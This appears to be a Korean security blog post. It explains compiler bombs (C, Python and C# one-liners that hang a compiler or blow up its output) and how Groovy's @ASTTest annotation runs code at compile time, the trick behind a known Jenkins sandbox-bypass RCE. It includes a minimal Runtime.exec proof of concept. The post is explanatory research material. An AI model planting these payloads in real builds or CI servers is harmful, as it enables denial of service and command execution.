Compiler Bomb라고 들어보셨나요? 어제(이미 새벽이니..) 취약점 분석 하다가 알게된 부분인데, 간략하게 나마 정리해둘까 합니다.



말 그대로 컴파일러 폭탄, 즉 빌드 단계에서 문제를 일으키는 코드를 말합니다.
대표적인 C코드로는 이런게 있습니다.

[ C ]
main[-1u]={1};
$ gcc -mcmodel=medium 1.c -o out
.... 무한루프 ....

이렇게 빌드 단계에서 컴파일러가 쓸데없는 연산을 하게 만드는 거라고 하네요.
Python의 경우에도..

[ Python ]
(1<<19**8,)*4**7

1.pyc 파일이 32TB 보다 큰 파일이 나오게 됩니다..

[ C# ]
class X<A,B,C,D,E>{class Y:X<Y,Y,Y,Y,Y>{Y.Y.Y.Y.Y.Y.Y.Y.Y y;}}

또한 28MB의 파일이 생성됩니다.

스택오버플로 글중에 이런 Compiler Bomb를 공유하는 챌린지가 일어났었고 스칼라, C++ 등 여러가지 언어의 Compiler Bomb를 볼 수 있습니다.
https://codegolf.stackexchange.com/questions/69189/build-a-compiler-bomb

이런 Compiler Bomb는 결국 실행단계가 아닌 컴파일 과정에서 컴파일러가 우선 처리하는 로직에서 딜레이가 걸리거나, 의미없는 행동을 하여 발생하는 문제입니다.

아래 이미지를 보시면 컴파일 단계전에 preprocess를 진행하게 되는데, 여기서 걸려버리는 문제입니다. (이 과정… 분명 대학생 떄 배웠던거 같은데, 가물가물하네요….)

https://www.codingunit.com/cplusplus-tutorial-preprocessor-directives

For Hacking?

단순히 컴파일 과정에서의 이 문제가 보안분석에서 어떻게 쓰일까요? 솔직히 별 생각 없었느데, Orange Tsai의 Jenkins RCE 분석하다보니 관련 방법이 쓰인 것 같더군요… 살펴봅시다.
(https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)

우선 아래 코드는 피보나치 수열을 계산하는 코드입니다.
template<int n>
struct fib {
    static const int value = fib<n-1>::value + fib<n-2>::value;
};
template<> struct fib<0> { static const int value = 0; };
template<> struct fib<1> { static const int value = 1; };

int main() {
    int a = fib<10>::value; // 55
    int b = fib<20>::value; // 6765
    int c = fib<40>::value; // 102334155
}

컴파일 후 objdump로 내용을 보면 계신식이 어셈코드에는 이미 계산되어서 들어가있는 걸 볼 수 있습니다. 즉 로직이 컴파일 단계에서 실행된거죠.

$ g++ bomb.cpp -o bomb
$ objdump -M intel -d bomb
... snip ...
00000000000005fa <main>:
 5fa:    55                       push   rbp
 5fb:    48 89 e5                 mov    rbp,rsp
 5fe:    c7 45 f4 37 00 00 00     mov    DWORD PTR [rbp-0xc],0x37
 605:    c7 45 f8 6d 1a 00 00     mov    DWORD PTR [rbp-0x8],0x1a6d
 60c:    c7 45 fc cb 7e 19 06     mov    DWORD PTR [rbp-0x4],0x6197ecb
 613:    b8 00 00 00 00           mov    eax,0x0
 618:    5d                       pop    rbp
 619:    c3                       ret    
 61a:    66 0f 1f 44 00 00        nop    WORD PTR [rax+rax*1+0x0]



자 이런 방법이 이제 어떻게 공격에 쓰였는지 봐보죠. 대상은 Groovy script 였고, Groovy는 이런 기능을 제공하고 있습니다.

[ @ASTTest ]
ASTTest는 Groovy 컴파일러 자체의 디버깅을 위한 부분으로 컴파일 진행중에 AST 코드 구간을 실행할 수 있습니다.(여기서 preprocess이죠) 그래서 AST Bytecode가 생성되기 전에 컴파일 결과와는 무관하게 테스트 코드들을 실행할 수 있게 됩니다.


그래서 ASTTest를 이용해서(사실상 Compiler Bomb가 가능한 부분이겠네요) 코드에 대한 Sandbox를 우회하고 명령을 실행하게 됩니다.

this.class.classLoader.parseClass('''
@groovy.transform.ASTTest(value={
    assert java.lang.Runtime.getRuntime().exec("mkdir dotori")
})
def x
''');

groovy 로 실행해보면 dotori 디렉토리가 생성됩니다.

$ groovy a.groovy
$ ls | grep dotori


Conclusion

사실 이 방법이 얼마나 잘 활용될 수 있는지는 모르겠습니다. 다만 알고있다면 기회가 왔을 때 해결할 수 있는 키가될 수 있으니 이런것도 있구나~ 라는 마음으로 읽어주셨길 바랍니당(뭔가 맨 앞에 써야할 말같네요..)

댓글 없음:

댓글 쓰기